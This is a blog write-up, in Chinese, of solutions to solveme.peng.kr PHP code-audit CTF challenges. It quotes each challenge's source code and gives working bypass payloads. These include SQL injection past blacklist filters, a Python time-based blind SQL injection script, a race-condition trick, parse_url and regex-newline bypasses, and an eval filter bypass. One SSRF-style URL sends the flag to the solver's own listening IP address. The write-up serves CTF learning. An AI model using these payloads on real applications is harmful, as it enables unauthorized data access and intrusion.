Solveme题解

前言

最近在学长的建议下开始做solveme网站的题目,都是代码审计的题目,学到了很多的东西,记录一下

Warm up

逆向跑一遍即可

1
2
3
4
<?php 
$flag = '1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=';
echo hex2bin(strrev(bin2hex(base64_decode($flag))));
?>

Bad compare

这个题目是字符串在不同编码下显示不同的问题,如果直接复制粘贴比较的会发生错误,办法是bp抓包查看16进制值提交上去就可以正确比较啦

Winter sleep

利用PHP的数字解析漏洞,payload

1
?time=6e6

Hard login

这个题目想得到flag就是需要让username和passwd和它隐藏的相等,看到用户名只有三位猜测可能是考察爆破,但是没有爆破成功,到这儿就卡住了,最后看了一下学长博客,才知道这题要用到 curl,这个命令之前几乎没用过,算是一个新知识点,得学习一下了。不知道为什么直接在浏览器中访问index.php页面就不行,用curl命令就可以

1
curl http://hardlogin.solveme.peng.kr/index.php

URL filtering

分析代码可知,代码大概思路是解析一下url(parse_url),对于得到的字符串用&分隔为数组,在对于每个数组值以等号分隔出key,value对,要求key中不能出现 do_you_want_flag,value中不能出现 yes,但是再获取flag时又要求必须是 do_you_want_flag=yes,显然是矛盾的,但是在翻看PHP手册查看parse_url函数时发现一句话

对严重不合格的 URL,parse_url() 可能会返回 FALSE。

所以猜测可能是这个parse函数存在突破点,搜索一下发现有个GeekPwn2016ctf比赛中就考过这个知识点,得到payload

1
http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes

Hash collision

直接数组绕过

1
?foo[]=1&bar[]=2

Array2String

题目核心在于提交 15th_HackingCamp对应的ascii码值,但是流程又限制数字不能在(32,127)之间,官网查找一下chr函数的描述可以看到如下描述

Note that if the number is higher than 256, it will return the number mod 256.

就是说如果数字大于256的话它会自动取模,所以就简单了

1
http://array2string.solveme.peng.kr/index.php?password=simple_passw0rd&value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368

Flag not found

Give me a link 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}

if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}

if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}
}

分析代码,题目过滤了几个条件

1、 url中不能出现 _ 以及其他不可见字符
2、 path字段中又必须出现 plz_give_me 字段
3、 限制输入的网址必须是 localhost127.x.x.x 这种类型的网址

1和2冲突,可以用前面一题的方法绕过之
对于第三个,有个绕过方法就是 ip2long() 函数将网络地址转化为数字地址,这样就可以绕过.的ip过滤

所以最终payload为

1
https://givemealink2.solveme.peng.kr/?url=https:num_ip:12580/plz%0agive%0ame

Give me a link

关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}

$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}

curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);

第一个和第三个的条件矛盾,具体参见前文,其中 $_SERVER['HTTP_HOST'] 又和

curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);

矛盾,因为http_host内容找不不允许修改,但是查看PHP手册可知

$url = ‘http://username:password@hostname/path?arg=value#anchor‘;

这样的方式也可以解析url,所以构造

1
http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@ip_addr/plz%1agive%1ame

注意要先监听80端口,还要不要用https,因为https返回的数据是乱码:)

Replace filter

关键代码如下

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['say']) && strlen($_GET['say']) < 20){

$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
}

这里看学长的博客get到了新姿势,这个题目绕过的点在 .* 这里,这个可以匹配任意字符,但是不可以匹配换行,而 ^$ 又限制了字符串必须在同一行,所以绕过就简单了,payload

1
http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag

Hell JS

Anti SQLi

关键过滤如下

1
2
3
4
5
6
7
8
9
10
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');

sql语句即判断条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);

if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}

该正则匹配中 |\\| 是无法匹配到 \ 的,必须要用四个才可以,所以这道题目中 \ 是可以用的,用 id=\ 可以成功吃掉一个引号。
正则中 union[\s\xA0]+select 还可考虑用 union all select 绕过,正则 --[\s\xA0] ,其中查资料发现

\s :匹配任何不可见字符,包括空格、制表符、换页符等等。等价于[\f\n\r\t\v]

也就是说还有其它字符可以匹配,例如 %01,%11,%02 ,基于以上内容可以构造payload

1
?id=1\&pw=union all select 1222,212,12 from antisqli--%10

最终payload

1
?id=1\&pw=union all select 31337,2,3 from antisqli--%10

Name Check

关键过滤如下

1
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}
$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}
echo $flag;

看代码可知题目应该是要求四个选择条件都成立,按照题目要求应该就是输入admin才可以,但是题目过滤了admin,查阅sqlite发现,它在连接字符串的时候用的是 || 而不是 + ,所以payload: ?name=ad'||'min

I am slowly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}
$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}

代码大概流程大概count=12或者table不存在的时候就建立新表重置count次数,然后知道answer相同时才会输出flag,限定了每轮只能尝试12次,之后answer就会变化且重置次数,但是题目存在逻辑漏洞,题目关键顺序是:

判断count的值—>执行SQL语句—>加count值

按照这个逻辑顺序,当count=11的时候,我们执行一个sleep()时间很长的语句,该请求就会长时间停在 执行SQL语句 流程中,如果此时我们再发起一次正常请求,判断count值还是11,执行完SQL语句之后count+1=12,再当上一条SQL语句执行完毕后count再加1等于13,于是之后就可以无限制提交请求了,然后在利用盲注来获得answer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

keys = '0123456789abcdef'
header = {
"Host":"iamslowly.thinkout.rf.gd",
"Cache-Control":"max-age=0",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer":"http://solveme.peng.kr/chall",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"__test=8f5247d83ccd8573674837d6f9a37fd1"
}
payload = '440763269e2fe7a672a52ea827728'
for i in range(30):
for j in keys:
url = "http://iamslowly.thinkout.rf.gd/?i=1&answer=' or if((answer like '{}%'),sleep(50),2)%23".format(payload + j)
try:
content = requests.get(url,headers=header,timeout=30).content
print(content[:10])
except:
payload += j
print(payload)
break

这题目盲注时间有点长,这里贴一下结果 440763269e2fe7a672a52ea827728539

Check via eval

主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$exam = 'return\''.sha1(time()).'\';';

if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}

题目过滤了括号,也基本过滤完了能用的函数,所以思路就是在 eval($_GET['flag']) 中让其直接输出flag,虽然题目过滤了flag,但是PHP文档中有如下内容 Click Here ,也就是说可以用 <?= expression?> 来达到绕过 echo 过滤的目的。

我们可以构造 <?= flag?> 来输出flag,尝试构造payload

1
$a='alag';$a{0}='f';?>11111111111111111;<?=$$a;?>
-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!